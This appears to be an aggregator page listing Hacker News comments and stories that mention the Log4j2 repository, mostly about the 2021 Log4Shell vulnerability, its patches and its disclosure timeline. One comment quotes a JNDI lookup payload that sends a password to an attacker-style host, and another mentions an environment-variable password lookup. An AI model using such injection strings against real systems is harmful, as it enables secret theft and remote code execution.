Hacker GitHub

← All repos

apache/logging-log4j2

View on GitHub ↗ ★ 3,640 Java

Apache Log4j is a versatile, feature-rich, efficient logging API and backend for Java.

37 mentions on Hacker News by 30 people: 8 stories, 29 comments · first 2021-12-10 · latest 2026-08-26

Mentions per year 37 mentions · busiest year 2021 (26)
20082026
AllStoriesComments NewestTopOldest
  1. Apparently someone made an oopsi and posted the vuln as issue https://github.com/apache/logging-log4j2/issues/4255
    comment by fionera · 2026-08-26 · in Log4j2 0-Day
  2. ▲ 5
    Log4j – Addressing AI-slop in security reports
    story by tchalla · 2026-03-10 · 1 comment
  3. ▲ 3
    Addressing AI-slop in security reports
    story by birdculture · 2026-02-28 · 0 comments
  4. ▲ 2
    Addressing AI-slop in security reports
    story by Tomte · 2026-02-27 · 1 comment
  5. …and write some short-hand functions (warn, err, info, etc.). These are the bugs I don't have: https://github.com/apache/logging-log4j2/issues
    comment by mrkeen · 2025-12-17 · in I couldn't find a logging library that worked for my library, so I made one
  6. …criticized for their slow response time and perceived lack of urgency until it was far too late. https://github.com/apache/logging-log4j2/pull/608#issuecomme...
    comment by richbell · 2024-03-06 · in Hackers exploited Windows 0-day for 6 months after Microsoft knew of it
  7. ▲ 1
    Create an alternative async logger implementation using JCTools
    story by mfiguiere · 2024-01-22 · 0 comments
  8. ▲ 1
    Log4j requesting feedback on which modules/features to drop
    story by kn7 · 2023-09-29 · 0 comments
  9. It started here https://github.com/apache/logging-log4j2/pull/608#issuecomme... and was rapidly recognized that this impacted almost everything. Minecraft servers were one of the most accessible places to use the exploit and at the same…
    comment by shagie · 2023-03-28 · in Alibaba to split into six separate groups
  10. …chaos unfold by reading through the GitHub PR. Remember, this was disclosed to Apache in November. https://github.com/apache/logging-log4j2/pull/608#issuecomme...
    comment by richbell · 2022-12-30 · in Log4Shell Still Has Sting in the Tail
  11. …Beg bounties: https://www.troyhunt.com/beg-bounties/ Log4j PR: https://github.com/apache/logging-log4j2/pull/608#issuecomme...
    comment by greysteil · 2022-02-26 · in GitHub’s database of security advisories is now open source
  12. …Feel free to check that out on GitHub[1]. It's got a ton of improvements from the last release. 0: https://github.com/apache/logging-log4j2/blob/master/log4j-c... 1: https://github.com/lunasec-io/lunasec/releases/ 2:…
    comment by freeqaz · 2021-12-17 · in Log4Shell Update: Full bypass found in log4j 2.15.0, enabling RCE again
  13. …stuff like "${env:DATABASE_PASSWORD:-xxx} In 2.16.0 message lookups have been completely removed: https://github.com/apache/logging-log4j2/pull/623 Lookups now only work in configured patterns. Thats IMHO the way it should have been in the…
    comment by jabiko · 2021-12-16 · in Log4j 2.15.0 – Previously suggested mitigations may not be enough
  14. Insightful conversations at https://github.com/apache/logging-log4j2/pull/608 - the original vulnerability patch. Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the…
    comment by tie_ · 2021-12-15 · in Log4Shell update: second Log4j vulnerability published
  15. Further details on the most relevant part here: https://github.com/apache/logging-log4j2/pull/608#issuecomme... Applications using log4j pattern layouts including `${ctx:...}` lookups with versions < 2.15 will remain vulnerable to RCE/DNS…
    comment by terom · 2021-12-14 · in CVE-2021-45046: Apache Log4j2 2.16.0 is out
  16. ▲ 2
    Log4j remains vulnerable when using attacker-controlled thread context lookups
    story by terom · 2021-12-14 · 0 comments
  17. …vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2] [1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...
    comment by rot25 · 2021-12-13 · in Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
  18. …patch alone [2] The same thing happens even with embargoes like the one you describe in place. [1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...
    comment by rot25 · 2021-12-13 · in Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
  19. Replying to myself but I guess it's the second one. https://github.com/apache/logging-log4j2/blob/04637dd9102175...
    comment by Droobfest · 2021-12-13 · in Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
  20. ▲ 2
    LOG4J2-3211 – Remove message lookups
    story by thefilmore · 2021-12-13 · 0 comments
  21. …opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.
    comment by janstice · 2021-12-13 · in UniFi Network Application 6.5.54
  22. ▲ 2
    Restrict LDAP access via JNDI #608
    story by doener · 2021-12-12 · 0 comments
  23. …hand, nothing with it really happened until someone asked if it was a security vulnerability - https://github.com/apache/logging-log4j2/pull/608#issuecomme... And then all hell broke loose. Simply said, this was a feature that was intended…
    comment by shagie · 2021-12-11 · in Log4j: Between a rock and a hard place
  24. …are building consensus to shorten that window for this particular release, given its urgency. from: https://github.com/apache/logging-log4j2/pull/608#issuecomme... If you read more of the history of the release you'll find that additional…
    comment by raggi · 2021-12-11 · in Log4j: Between a rock and a hard place
  25. …has processes for this, and project maintainers pointed people in that direction repeatedly (e.g. https://github.com/apache/logging-log4j2/pull/608#issuecomme... , https://github.com/apache/logging-log4j2/pull/608#issuecomme... ). The…
    comment by raggi · 2021-12-11 · in Log4j: Between a rock and a hard place
  26. …embargo" window in this particular case? E.g. the log4j JNDI code fix was night of December 4: https://github.com/apache/logging-log4j2/commit/d82b47c6fae9... The widespread news of the RCE was December 9. How does extra funding change the…
    comment by jasode · 2021-12-11 · in To secure the supply chain, you must properly fund it
  27. …on the already existing behavior (evaluation variable when formatting the final msg). Edit 1: https://github.com/apache/logging-log4j2/blob/9df31f73b62ba2... 2: https://github.com/apache/logging-log4j2/blob/c2b07e37995004... 3:…
    comment by niea_11 · 2021-12-10 · in Log4j RCE Found
  28. …to understand this behavior. [1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198
    comment by LOG4J2-2109 · 2021-12-10 · in Log4j RCE Found
  29. Noticed this is answered in: https://github.com/apache/logging-log4j2/pull/608#issuecomme... ``` I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because…
    comment by pqyzwbq · 2021-12-10 · in Log4j RCE Found
  30. Not removed: https://github.com/apache/logging-log4j2/commit/d82b47c6fae9...
    comment by tmm1 · 2021-12-10 · in Log4j RCE Found
  31. …unclear how far back this bug may stretch. Other options for patching are detailed in the thread: https://github.com/apache/logging-log4j2/pull/608#issuecomme... mentions that just removing the class providing the vulnerable behavior works…
    comment by nightpool · 2021-12-10 · in Log4j RCE Found
  32. Ok, I think we can change the URL to that from the submitted URL ( https://github.com/apache/logging-log4j2/pull/608 ), which doesn't provide much (any?) context for understanding what's being fixed there.
    comment by dang · 2021-12-10 · in Log4j RCE Found
  33. > By the way. This only affect log4j 2.x ( https://github.com/apache/logging-log4j2 ). the log4j 1.x ( https://github.com/apache/log4j ) is not affected. That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... says
    comment by agwa · 2021-12-10 · in Log4j RCE Found
  34. Get yer pointin' finger ready: https://github.com/apache/logging-log4j2/blame/master/log4j-...
    comment by hinkley · 2021-12-10 · in Log4j RCE Found
  35. …referring to the option to disable the vulnerable feature, not the vulnerable feature itself. Per https://github.com/apache/logging-log4j2/pull/608#issuecomme... even log4j 1.x is vulnerable.
    comment by agwa · 2021-12-10 · in Log4j RCE Found
  36. There is also a patch available in `log4j-2.15.0-rc1` now. https://github.com/apache/logging-log4j2/releases/tag/log4j-...
    comment by freeqaz · 2021-12-10 · in Log4j RCE Found
  37. the vulnerable feature is not in log4j < 2.10 see https://github.com/apache/logging-log4j2/pull/608#issuecomme... and you can just delete the affected class
    comment by nick__m · 2021-12-10 · in Log4j RCE Found